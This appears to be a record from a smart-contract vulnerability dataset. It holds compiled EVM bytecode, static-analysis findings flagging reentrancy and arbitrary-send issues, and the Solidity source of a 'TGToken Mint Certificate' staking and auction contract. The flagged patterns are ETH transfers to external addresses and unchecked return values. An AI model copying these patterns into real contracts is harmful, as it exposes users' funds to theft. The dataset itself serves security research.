65b6000815190506130a581613f8a565b92915050565b6000813590506130ba81613fa1565b92915050565b6000815190506130cf81613fa1565b92915050565b6000602082840312156130e757600080fd5b60006130f584828501613018565b91505092915050565b60006020828403121561311057600080fd5b600061311e8482850161302d565b91505092915050565b60006020828403121561313957600080fd5b600061314784828501613042565b91505092915050565b6000806040838503121561316357600080fd5b600061317185828601613018565b925050602061318285828601613018565b9150509250929050565b6000806000606084860312156131a157600080fd5b60006131af86828701613018565b93505060206131c086828701613018565b92505060406131d1868287016130ab565b9150509250925092565b600080604083850312156131ee57600080fd5b60006131fc85828601613018565b925050602061320d858286016130ab565b9150509250929050565b60006020828403121561322957600080fd5b600082013567ffffffffffffffff81111561324357600080fd5b61324f84828501613057565b91505092915050565b60006020828403121561326a57600080fd5b600061327884828501613081565b91505092915050565b60006020828403121561329357600080fd5b60006132a184828501613096565b91505092915050565b6000806000606084860312156132bf57600080fd5b60006132cd868287016130c0565b93505060206132de868287016130c0565b92505060406132ef868287016130c0565b9150509250925092565b60006133058383613311565b60208301905092915050565b61331a81613a7c565b82525050565b61332981613a7c565b82525050565b600061333a82613922565b6133448185613945565b935061334f83613912565b8060005b8381101561338057815161336788826132f9565b975061337283613938565b925050600181019050613353565b5085935050505092915050565b61339681613aa0565b82525050565b6133a581613ae3565b82525050565b60006133b68261392d565b6133c08185613956565b93506133d0818560208601613af5565b6133d981613c2f565b840191505092915050565b60006133f1602383613956565b91506133fc82613c40565b604082019050919050565b6000613414602a83613956565b915061341f82613c8f565b604082019050919050565b6000613437602283613956565b915061344282613cde565b604082019050919050565b600061345a602283613956565b915061346582613d2d565b604082019050919050565b600061347d601b83613956565b915061348882613d7c565b602082019050919050565b60006134a0602183613956565b91506134ab82613da5565b604082019050919050565b60006134c3602083613956565b91506134ce82613df4565b602082019050919050565b60006134e6602983613956565b91506134f182613e1d565b604082019050919050565b6000613509602583613956565b915061351482613e6c565b604082019050919050565b600061352c602483613956565b915061353782613ebb565b604082019050919050565b600061354f601783613956565b915061355a82613f0a565b602082019050919050565b6000613572601883613956565b915061357d82613f33565b602082019050919050565b61359181613acc565b82525050565b6135a081613ad6565b82525050565b60006020820190506135bb6000830184613320565b92915050565b60006040820190506135d66000830185613320565b6135e36020830184613320565b9392505050565b60006040820190506135ff6000830185613320565b61360c6020830184613588565b9392505050565b600060c0820190506136286000830189613320565b6136356020830188613588565b613642604083018761339c565b61364f606083018661339c565b61365c6080830185613320565b61366960a0830184613588565b979650505050505050565b6000602082019050613689600083018461338d565b92915050565b600060208201905081810360008301526136a981846133ab565b905092915050565b600060208201905081810360008301526136ca816133e4565b9050919050565b600060208201905081810360008301526136ea81613407565b9050919050565b6000602082019050818103600083015261370a8161342a565b9050919050565b6000602082019050818103600083015261372a8161344d565b9050919050565b6000602082019050818103600083015261374a81613470565b9050919050565b6000602082019050818103600083015261376a81613493565b9050919050565b6000602082019050818103600083015261378a816134b6565b9050919050565b600060208201905081810360008301526137aa816134d9565b9050919050565b600060208201905081810360008301526137ca816134fc565b9050919050565b600060208201905081810360008301526137ea8161351f565b9050919050565b6000602082019050818103600083015261380a81613542565b9050919050565b6000602082019050818103600083015261382a81613565565b9050919050565b60006020820190506138466000830184613588565b92915050565b600060a0820190506138616000830188613588565b61386e602083018761339c565b8181036040830152613880818661332f565b905061388f6060830185613320565b61389c6080830184613588565b9695505050505050565b60006020820190506138bb6000830184613597565b92915050565b60006138cb6138dc565b90506138d78282613b28565b919050565b6000604051905090565b600067ffffffffffffffff82111561390157613900613c00565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061397282613acc565b915061397d83613acc565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156139b2576139b1613ba2565b5b828201905092915050565b60006139c882613acc565b91506139d383613acc565b9250826139e3576139e2613bd1565b5b828204905092915050565b60006139f982613acc565b9150613a0483613acc565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613a3d57613a3c613ba2565b5b828202905092915050565b6000613a5382613acc565b9150613a5e83613acc565b925082821015613a7157613a70613ba2565b5b828203905092915050565b6000613a8782613aac565b9050919050565b6000613a9982613aac565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613aee82613acc565b9050919050565b60005b83811015613b13578082015181840152602081019050613af8565b83811115613b22576000848401525b50505050565b613b3182613c2f565b810181811067ffffffffffffffff82111715613b5057613b4f613c00565b5b80604052505050565b6000613b6482613acc565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613b9757613b96613ba2565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b613f6581613a7c565b8114613f7057600080fd5b50565b613f7c81613a8e565b8114613f8757600080fd5b50565b613f9381613aa0565b8114613f9e57600080fd5b50565b613faa81613acc565b8114613fb557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220655bb4c40e37cecb70df0ced83b5dd4a422f706009af037c717980455d7e4ec364736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,078 |
0x005AAcb9d02616EBDc2b968d3544dfa864FD2F69
|
/**
*Submitted for verification at Etherscan.io on 2021-07-25
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.11;
contract Ownable {
address public owner;
address public manager;
uint private unlocked = 1;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "1000");
_;
}
modifier onlyManager() {
require(msg.sender == owner || (manager != address(0) && msg.sender == manager), "1000");
_;
}
function setManager(address user) external onlyOwner {
manager = user;
}
modifier lock() {
require(unlocked == 1, '1001');
unlocked = 0;
_;
unlocked = 1;
}
}
contract ITGToken{
uint public totalSupply;
uint public limitSupply;
mapping(address => uint) public balanceOf;
function mint(address miner,uint256 tokens,uint256 additional) external returns(bool success);
function redeem(address miner,uint256 tokens) external returns(bool success);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, '1002');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, '1002');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, '1002');
}
function div(uint x,uint y) internal pure returns (uint z){
if(x==0){
return 0;
}
require(y == 0 || (z = x / y) > 0, '100');
}
}
contract MintToken is IERC20, Ownable {
using SafeMath for uint;
ITGToken tg;
address public tokenContract;
uint limitSupply;//tgtoken的预发行总量
uint minerPrice = 1 ether;//高配矿工价格 eth
uint minerQuota = 100 ether * 10000;//高配矿工配额
uint public minerid = 0;//矿工计数
uint public auctionId = 0;//拍卖计数
uint public lessThanId = 0;//不满足矿工要求的计数
uint constant RATIO = 10000;//1eth质押铸币数量
uint constant MINER_LIMIT = 10000;//矿工数量限制
uint constant MINER_EXPIRES = 180 days;
uint constant QUOTA_LIMIT = 5 ether * 10000; //5 ether * RATIO 默认配额的上限
uint constant MINT_MIN_VALUE = 0.1 ether;//最小质押值
uint constant MINT_MAX_VALUE = 1 ether;//首次最大质押值
uint constant MIN_TOKENS = 1000 ether;//持续持有铸币的最小值
uint public totalSupply;
uint public constant decimals = 18;
string public constant name = 'TGToken Mint Certificate';
string public constant symbol = 'TMC';
bool auctionStatus = false;//是否开启拍卖
struct MinerStruct {
uint id;
uint quota;
uint tokens;
}
struct AuctionStruct {
uint id;
uint quota;
uint expires;
uint price;
uint count;
uint highest;
address bider;
}
struct LessThanStruct {
uint id;
uint time;
}
mapping (address => AuctionStruct) public auctions;
mapping (address => MinerStruct) miners;
mapping (uint => address) public auctionOf;
mapping (address => mapping(address => uint)) public allowance;
mapping (address => LessThanStruct) lessThanQuotaLimit;
mapping (uint => address) lessThanOf;
event Mint(address indexed from,uint id, uint value ,uint tokens);
event Redeem(address indexed from, uint value, uint tokens);
event Buy(address indexed from, address target, uint value);
event Auction(address indexed from,uint id,uint quota, uint price,uint count,uint expires,address bider, uint highest);
constructor () public {
_miner_add(msg.sender, 0, 0, 0);
}
function initTokenContract(address _token) external onlyOwner{
tokenContract = _token;
tg = ITGToken(tokenContract);
limitSupply = tg.limitSupply();
miners[msg.sender].quota = limitSupply;
}
function balanceOf(address user) external view returns (uint){
return miners[user].tokens;
}
function _transfer(address from, address to, uint value) private {
require(miners[to].id > 0, '2030');
miners[from].tokens = miners[from].tokens.sub(value);
miners[to].tokens = miners[to].tokens.add(value);
_update_lessthan(from);
_update_lessthan(to);
emit Transfer(from, to, value);
}
function transfer(address to, uint value) external lock returns (bool){
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint value) external returns (bool){
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool){
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function mint() external payable {
require(msg.value >= MINT_MIN_VALUE, '2001');
uint tokens = msg.value.mul(RATIO);
uint amount = tokens / 20;
if(miners[msg.sender].id > 0){
miners[msg.sender].tokens = miners[msg.sender].tokens.add(tokens);
require(miners[msg.sender].tokens <= miners[msg.sender].quota,'2004');
}else{
require(msg.value <= MINT_MAX_VALUE,'2006');
require(!_isContract(msg.sender), '2034');
_miner_add(msg.sender, 0, tokens.mul(5), tokens);
}
_update_lessthan(msg.sender);
totalSupply = totalSupply.add(miners[msg.sender].tokens);
require(tg.mint(msg.sender,tokens,amount), '2007');
emit Mint(msg.sender, miners[msg.sender].id, msg.value, tokens);
}
function redeem(uint _value) external lock{
require(miners[msg.sender].id > 0,'2009');
uint value = _value;
uint tokens = value.mul(RATIO);
if(tokens > miners[msg.sender].tokens){
tokens = miners[msg.sender].tokens;
value = tokens.div(RATIO);
}
miners[msg.sender].tokens = miners[msg.sender].tokens.sub(tokens);
totalSupply = totalSupply.sub(tokens);
_update_lessthan(msg.sender);
require(tg.redeem(msg.sender,tokens),'2011');
msg.sender.transfer(value);
emit Redeem(msg.sender,value, tokens);
}
function _miner_add(address user, uint id, uint quota, uint tokens) private{
if(id == 0){
require(minerid < MINER_LIMIT,'2005');
minerid += 1;
miners[user] = MinerStruct(minerid,quota,tokens);
}else{
miners[user] = MinerStruct(id,quota,tokens);
}
}
function _miner_clear(address user) private {
delete miners[user];
}
function _update_lessthan(address user) private {
if(miners[user].id == 0 || miners[user].quota > QUOTA_LIMIT || miners[user].tokens >= MIN_TOKENS){
if(lessThanQuotaLimit[user].time > 0){
delete lessThanOf[lessThanQuotaLimit[user].id];
delete lessThanQuotaLimit[user];
}
}else if(lessThanQuotaLimit[user].time == 0){
lessThanId += 1;
lessThanQuotaLimit[user] = LessThanStruct(lessThanId,_now(0));
lessThanOf[lessThanId] = user;
}
}
function buy(address target) external lock payable{
require(!_isContract(msg.sender), '2034');
if(target == address(0)){
require(minerPrice > 0 && msg.value == minerPrice, '2012');
if(miners[msg.sender].id == 0){
_miner_add(msg.sender,0, minerQuota, 0);
}else{
miners[msg.sender].quota = miners[msg.sender].quota.add(minerQuota);
_update_lessthan(msg.sender);
require(miners[msg.sender].quota <= QUOTA_LIMIT * 100, '2016');
}
address(uint160(owner)).transfer(msg.value);
emit Buy(msg.sender,target,msg.value);
}else{
require(miners[msg.sender].id == 0,'2013');
require(minerid >= MINER_LIMIT, '2005');
require(msg.value >= 0.2 ether && msg.value <= 1 ether, '2014');
MinerStruct memory miner = miners[target];
require(_allowTransfer(target,miner),'2015');
uint to_target_value = msg.value / 2;
uint to_owner_value = msg.value - to_target_value;
if(miner.tokens > 0){
to_owner_value += miner.tokens.div(RATIO);
totalSupply = totalSupply.sub(miner.tokens);
}
_miner_clear(target);
_update_lessthan(target);
_miner_add(msg.sender, miner.id, msg.value * RATIO * 5, 0);
if(auctions[target].id>0){
delete auctionOf[auctions[target].id];
delete auctions[target];
}
address(uint160(target)).transfer(to_target_value);
address(uint160(owner)).transfer(to_owner_value);
emit Buy(msg.sender,target,msg.value);
}
}
function auctionInitiate(uint price) external{
require(auctionStatus &&
minerid >= MINER_LIMIT &&
miners[msg.sender].id > 1, '2017');
require(auctions[msg.sender].id == 0, '2018');
require(price > 0, '2019');
uint expires = _now(7 days);
auctionId += 1;
auctions[msg.sender] = AuctionStruct(
auctionId,
miners[msg.sender].quota,
expires,
price,
0,
price,
address(0)
);
auctionOf[auctionId] = msg.sender;
emit Auction(msg.sender,auctionId,miners[msg.sender].quota, price, 0, expires, address(0), price);
}
function auctionCancel() external{
uint id = auctions[msg.sender].id;
require(id > 0, '2020');
require(auctions[msg.sender].expires <= _now(0), '2021');
require(auctions[msg.sender].bider == address(0), '2022');
delete auctions[msg.sender];
delete auctionOf[id];
emit Auction(msg.sender,id,0, 0, 0, _now(0), address(0), 0);
}
function auctionBid(address target) external payable{
require(miners[msg.sender].id == 0, '2013');
AuctionStruct memory item = auctions[target];
require(target != msg.sender, '2023');
require(item.id > 0, '2024');
require(item.expires > _now(0), '2027');
require(msg.value > item.highest, '2025');
require(!_isContract(msg.sender), '2034');
address prev_bider = item.count == 0 ? address(0) : item.bider;
uint prev_value = item.count == 0 ? 0 : item.highest;
auctions[target].highest = msg.value;
auctions[target].bider = msg.sender;
auctions[target].count += 1;
if(prev_value > 0){
address(uint160(prev_bider)).transfer(prev_value);
}
emit Auction(target,item.id,item.quota,item.price, auctions[target].count, item.expires, msg.sender, msg.value);
}
function auctionFinish(address target) external lock{
AuctionStruct memory item = auctions[target];
require(item.id > 0, '2024');
require(item.expires <= _now(0), '2028');
require(item.count > 0 && item.bider == msg.sender, '2029');
MinerStruct memory miner = miners[target];
uint to_owner_value = item.highest / 10;
uint to_target_value = item.highest - to_owner_value;
if(miner.tokens > 0){
to_owner_value += miner.tokens.div(RATIO);
totalSupply = totalSupply.sub(miner.tokens);
}
_miner_clear(target);
_update_lessthan(target);
if(miners[msg.sender].id == 0){
_miner_add(msg.sender, miner.id, miner.quota, 0);
}else if(miners[msg.sender].quota <= miner.quota){
miners[msg.sender].quota = miner.quota;
}
_update_lessthan(msg.sender);
delete auctions[target];
delete auctionOf[item.id];
address(uint160(owner)).transfer(to_owner_value);
address(uint160(target)).transfer(to_target_value);
emit Auction(target,item.id,item.quota, item.price, item.count, _now(0), msg.sender, item.highest);
}
function setSellMiner(uint price,uint quota) external onlyOwner{
require(quota > QUOTA_LIMIT, "quota must be greater than 50000tg");
minerPrice = price;
minerQuota = quota;
}
function setAuction(bool status) external onlyOwner{
auctionStatus = status;
}
function viewSummary() external view returns (
uint ratio,uint miner_count,uint miner_limit,uint miner_expires,
uint miner_price,uint miner_quota,uint quota_limit,uint balance,bool auction_status,address token_contract
){
return (
RATIO,minerid,MINER_LIMIT,MINER_EXPIRES,minerPrice,minerQuota,
QUOTA_LIMIT,address(this).balance,auctionStatus,tokenContract
);
}
function viewMiner(address sender) external view returns (
uint id,uint quota,uint tokens,uint value,uint status,uint expires
){
return (
miners[sender].id,
miners[sender].quota,
miners[sender].tokens,
miners[sender].tokens.div(RATIO),
auctions[sender].id > 0 ? 1 : 0,
lessThanQuotaLimit[sender].time>0?lessThanQuotaLimit[sender].time.add(MINER_EXPIRES):0
);
}
function viewTransferMiner() external view returns (address addr){
if(minerid < MINER_LIMIT){
return address(0);
}
for(uint i = 1; i <= lessThanId; i++){
address _addr = lessThanOf[i];
if(_addr != address(0)){
MinerStruct memory miner = miners[_addr];
if(_allowTransfer(_addr,miner)){
return _addr;
}
}
}
return address(0);
}
function _allowTransfer(address user,MinerStruct memory miner) private view returns (bool){
return miner.id>1 && miner.quota<=QUOTA_LIMIT && miner.tokens < MIN_TOKENS &&
lessThanQuotaLimit[user].time.add(MINER_EXPIRES) < _now(0) &&
(auctions[user].id == 0 || (auctions[user].id>0 && auctions[user].count==0 && auctions[user].expires<_now(0)));
}
function _now(uint value) internal view returns (uint) {
//solium-disable-next-line
uint v = block.timestamp;
if(value != 0){
v = v.add(value);
}
return v;
}
function _isContract(address account) private view returns (bool) {
uint256 size;
//solium-disable-next-line
assembly {
size := extcodesize(account)
}
return size > 0;
}
}
|
0x6080604052600436106101d85760003560e01c806375b897da11610102578063dd62ed3e11610095578063f088d54711610064578063f088d5471461074c578063f33ae7fd14610772578063fb6a6d0e1461079c578063ff9bbe49146107b1576101d8565b8063dd62ed3e1461066a578063e78188f5146106a5578063eb17041e146106d1578063ee7bef3414610737576101d8565b8063a9059cbb116100d1578063a9059cbb146105aa578063c57eba2a146105e3578063d0ebdbe71461060d578063db006a7514610640576101d8565b806375b897da1461052a5780638da5cb5b14610550578063904d85921461056557806395d89b4114610595576101d8565b806323b872dd1161017a578063481c6a7511610149578063481c6a751461044157806355a373d6146104725780636acea7c61461048757806370a08231146104f7576101d8565b806323b872dd14610383578063313ce567146103c65780633ada50ba146103db578063449a78e21461040e576101d8565b806310782f8f116101b657806310782f8f146102cb5780631249c58b146102f257806318160ddd146102fa5780631d59410a1461030f576101d8565b806306fdde03146101dd578063095ea7b314610267578063103f5457146102b4575b600080fd5b3480156101e957600080fd5b506101f26107c6565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561022c578181015183820152602001610214565b50505050905090810190601f1680156102595780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561027357600080fd5b506102a06004803603604081101561028a57600080fd5b506001600160a01b0381351690602001356107ff565b604080519115158252519081900360200190f35b3480156102c057600080fd5b506102c9610866565b005b3480156102d757600080fd5b506102e0610a16565b60408051918252519081900360200190f35b6102c9610a1c565b34801561030657600080fd5b506102e0610d01565b34801561031b57600080fd5b506103426004803603602081101561033257600080fd5b50356001600160a01b0316610d07565b604080519788526020880196909652868601949094526060860192909252608085015260a08401526001600160a01b031660c0830152519081900360e00190f35b34801561038f57600080fd5b506102a0600480360360608110156103a657600080fd5b506001600160a01b03813581169160208101359091169060400135610d4d565b3480156103d257600080fd5b506102e0610de7565b3480156103e757600080fd5b506102c9600480360360208110156103fe57600080fd5b50356001600160a01b0316610dec565b34801561041a57600080fd5b506102c96004803603602081101561043157600080fd5b50356001600160a01b0316610ee0565b34801561044d57600080fd5b506104566112e1565b604080516001600160a01b039092168252519081900360200190f35b34801561047e57600080fd5b506104566112f0565b34801561049357600080fd5b5061049c6112ff565b604080519a8b5260208b0199909952898901979097526060890195909552608088019390935260a087019190915260c086015260e085015215156101008401526001600160a01b031661012083015251908190036101400190f35b34801561050357600080fd5b506102e06004803603602081101561051a57600080fd5b50356001600160a01b031661133b565b6102c96004803603602081101561054057600080fd5b50356001600160a01b0316611359565b34801561055c57600080fd5b50610456611695565b34801561057157600080fd5b506102c96004803603604081101561058857600080fd5b50803590602001356116a4565b3480156105a157600080fd5b506101f261173f565b3480156105b657600080fd5b506102a0600480360360408110156105cd57600080fd5b506001600160a01b03813516906020013561175e565b3480156105ef57600080fd5b506102c96004803603602081101561060657600080fd5b50356117bd565b34801561061957600080fd5b506102c96004803603602081101561063057600080fd5b50356001600160a01b0316611aa6565b34801561064c57600080fd5b506102c96004803603602081101561066357600080fd5b5035611b10565b34801561067657600080fd5b506102e06004803603604081101561068d57600080fd5b506001600160a01b0381358116916020013516611d7a565b3480156106b157600080fd5b506102c9600480360360208110156106c857600080fd5b50351515611d97565b3480156106dd57600080fd5b50610704600480360360208110156106f457600080fd5b50356001600160a01b0316611df2565b604080519687526020870195909552858501939093526060850191909152608084015260a0830152519081900360c00190f35b34801561074357600080fd5b50610456611ec8565b6102c96004803603602081101561076257600080fd5b50356001600160a01b0316611f7d565b34801561077e57600080fd5b506104566004803603602081101561079557600080fd5b50356124de565b3480156107a857600080fd5b506102e06124f9565b3480156107bd57600080fd5b506102e06124ff565b6040518060400160405280601881526020017f5447546f6b656e204d696e74204365727469666963617465000000000000000081525081565b3360008181526010602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b336000908152600d6020526040902054806108b1576040805162461bcd60e51b815260206004808301919091526024820152630323032360e41b604482015290519081900360640190fd5b6108bb6000612505565b336000908152600d6020526040902060020154111561090a576040805162461bcd60e51b815260206004808301919091526024820152633230323160e01b604482015290519081900360640190fd5b336000908152600d60205260409020600601546001600160a01b031615610961576040805162461bcd60e51b815260206004808301919091526024820152631918191960e11b604482015290519081900360640190fd5b336000818152600d60209081526040808320838155600181018490556002810184905560038101849055600481018490556005810184905560060180546001600160a01b0319908116909155858452600f909252822080549091169055600080516020612bc983398151915290839080806109db81612505565b6040805195865260208601949094528484019290925260608401526080830152600060a0830181905260c0830152519081900360e00190a250565b60095481565b67016345785d8a0000341015610a62576040805162461bcd60e51b815260206004808301919091526024820152633230303160e01b604482015290519081900360640190fd5b6000610a763461271063ffffffff61252516565b336000908152600e6020526040902054909150601482049015610b1157336000908152600e6020526040902060020154610ab6908363ffffffff61257a16565b336000908152600e6020526040902060028101829055600101541015610b0c576040805162461bcd60e51b815260206004808301919091526024820152630c8c0c0d60e21b604482015290519081900360640190fd5b610bb8565b670de0b6b3a7640000341115610b57576040805162461bcd60e51b815260206004808301919091526024820152631918181b60e11b604482015290519081900360640190fd5b610b60336125bb565b15610b9b576040805162461bcd60e51b815260206004808301919091526024820152630c8c0ccd60e21b604482015290519081900360640190fd5b610bb8336000610bb285600563ffffffff61252516565b856125c1565b610bc1336126ab565b336000908152600e6020526040902060020154600b54610be69163ffffffff61257a16565b600b5560035460408051630ab714fb60e11b8152336004820152602481018590526044810184905290516001600160a01b039092169163156e29f6916064808201926020929091908290030181600087803b158015610c4457600080fd5b505af1158015610c58573d6000803e3d6000fd5b505050506040513d6020811015610c6e57600080fd5b5051610caa576040805162461bcd60e51b815260206004808301919091526024820152633230303760e01b604482015290519081900360640190fd5b336000818152600e6020908152604091829020548251908152349181019190915280820185905290517fb4c03061fb5b7fed76389d5af8f2e0ddb09f8c70d1333abbb62582835e10accb9181900360600190a25050565b600b5481565b600d60205260009081526040902080546001820154600283015460038401546004850154600586015460069096015494959394929391929091906001600160a01b031687565b6001600160a01b038316600090815260106020908152604080832033845290915281205460001914610dd2576001600160a01b0384166000908152601060209081526040808320338452909152902054610dad908363ffffffff61282616565b6001600160a01b03851660009081526010602090815260408083203384529091529020555b610ddd848484612867565b5060019392505050565b601281565b6000546001600160a01b03163314610e34576040805162461bcd60e51b815260206004808301919091526024820152630313030360e41b604482015290519081900360640190fd5b600480546001600160a01b038084166001600160a01b03199283161780845560038054909316908216179182905560408051632ddcb21f60e01b815290519290911692632ddcb21f928282019260209290829003018186803b158015610e9957600080fd5b505afa158015610ead573d6000803e3d6000fd5b505050506040513d6020811015610ec357600080fd5b50516005819055336000908152600e602052604090206001015550565b600254600114610f20576040805162461bcd60e51b815260206004808301919091526024820152633130303160e01b604482015290519081900360640190fd5b6000600255610f2d612b3f565b506001600160a01b038082166000908152600d6020908152604091829020825160e08101845281548082526001830154938201939093526002820154938101939093526003810154606084015260048101546080840152600581015460a08401526006015490921660c082015290610fd5576040805162461bcd60e51b815260206004808301919091526024820152630c8c0c8d60e21b604482015290519081900360640190fd5b610fdf6000612505565b81604001511115611020576040805162461bcd60e51b815260206004808301919091526024820152630646064760e31b604482015290519081900360640190fd5b60008160800151118015611040575060c08101516001600160a01b031633145b61107a576040805162461bcd60e51b815260206004808301919091526024820152633230323960e01b604482015290519081900360640190fd5b611082612b85565b506001600160a01b0382166000908152600e60209081526040918290208251606081018452815481526001820154928101929092526002015491810182905260a08301519091600a820491829003901561110e5760408301516110ed9061271063ffffffff61299f16565b8201915061110a8360400151600b5461282690919063ffffffff16565b600b555b611117856129fe565b611120856126ab565b336000908152600e602052604090205461114e57611149338460000151856020015160006125c1565b611188565b602080840151336000908152600e9092526040909120600101541161118857602080840151336000908152600e9092526040909120600101555b611191336126ab565b6001600160a01b038086166000908152600d60209081526040808320838155600181018490556002810184905560038101849055600481018490556005810184905560060180546001600160a01b031990811690915588518452600f90925280832080549092169091558154905192169184156108fc0291859190818181858888f19350505050158015611229573d6000803e3d6000fd5b506040516001600160a01b0386169082156108fc029083906000818181858888f19350505050158015611260573d6000803e3d6000fd5b50846001600160a01b0316600080516020612bc983398151915285600001518660200151876060015188608001516112986000612505565b60a0808c01516040805197885260208801969096528686019490945260608601929092526080850152339084015260c0830152519081900360e00190a250506001600255505050565b6001546001600160a01b031681565b6004546001600160a01b031681565b600854600654600754600c5460045461271095869462ed4e009490939092690a968163f0a57b40000092479260ff16916001600160a01b031690565b6001600160a01b03166000908152600e602052604090206002015490565b336000908152600e6020526040902054156113a4576040805162461bcd60e51b815260206004808301919091526024820152633230313360e01b604482015290519081900360640190fd5b6113ac612b3f565b506001600160a01b038082166000818152600d6020908152604091829020825160e081018452815481526001820154928101929092526002810154928201929092526003820154606082015260048201546080820152600582015460a082015260069091015490921660c0830152331415611457576040805162461bcd60e51b815260206004808301919091526024820152633230323360e01b604482015290519081900360640190fd5b8051611493576040805162461bcd60e51b815260206004808301919091526024820152630c8c0c8d60e21b604482015290519081900360640190fd5b61149d6000612505565b8160400151116114dd576040805162461bcd60e51b815260206004808301919091526024820152633230323760e01b604482015290519081900360640190fd5b8060a00151341161151e576040805162461bcd60e51b815260206004808301919091526024820152633230323560e01b604482015290519081900360640190fd5b611527336125bb565b15611562576040805162461bcd60e51b815260206004808301919091526024820152630c8c0ccd60e21b604482015290519081900360640190fd5b6000816080015160001461157a578160c0015161157d565b60005b905060008260800151600014611597578260a0015161159a565b60005b6001600160a01b0385166000908152600d602052604090203460058201556006810180546001600160a01b031916331790556004018054600101905590508015611616576040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611614573d6000803e3d6000fd5b505b82516020808501516060808701516001600160a01b0389166000818152600d865260409081902060040154818b0151825198895296880195909552868101929092529185019290925260808401929092523360a08401523460c0840152519091600080516020612bc9833981519152919081900360e00190a250505050565b6000546001600160a01b031681565b6000546001600160a01b031633146116ec576040805162461bcd60e51b815260206004808301919091526024820152630313030360e41b604482015290519081900360640190fd5b690a968163f0a57b40000081116117345760405162461bcd60e51b8152600401808060200182810382526022815260200180612ba76022913960400191505060405180910390fd5b600691909155600755565b60405180604001604052806003815260200162544d4360e81b81525081565b60006002546001146117a0576040805162461bcd60e51b815260206004808301919091526024820152633130303160e01b604482015290519081900360640190fd5b60006002556117b0338484612867565b5060018060025592915050565b600c5460ff1680156117d3575061271060085410155b80156117ee5750336000908152600e60205260409020546001105b611828576040805162461bcd60e51b815260206004808301919091526024820152633230313760e01b604482015290519081900360640190fd5b336000908152600d602052604090205415611873576040805162461bcd60e51b815260206004808301919091526024820152630646062760e31b604482015290519081900360640190fd5b600081116118b1576040805162461bcd60e51b815260206004808301919091526024820152633230313960e01b604482015290519081900360640190fd5b60006118bf62093a80612505565b905060016009600082825401925050819055506040518060e001604052806009548152602001600e6000336001600160a01b03166001600160a01b031681526020019081526020016000206001015481526020018281526020018381526020016000815260200183815260200160006001600160a01b0316815250600d6000336001600160a01b03166001600160a01b03168152602001908152602001600020600082015181600001556020820151816001015560408201518160020155606082015181600301556080820151816004015560a0820151816005015560c08201518160060160006101000a8154816001600160a01b0302191690836001600160a01b0316021790555090505033600f6000600954815260200190815260200160002060006101000a8154816001600160a01b0302191690836001600160a01b03160217905550336001600160a01b0316600080516020612bc9833981519152600954600e6000336001600160a01b03166001600160a01b03168152602001908152602001600020600101548560008660008960405180888152602001878152602001868152602001858152602001848152602001836001600160a01b03166001600160a01b031681526020018281526020019750505050505050506040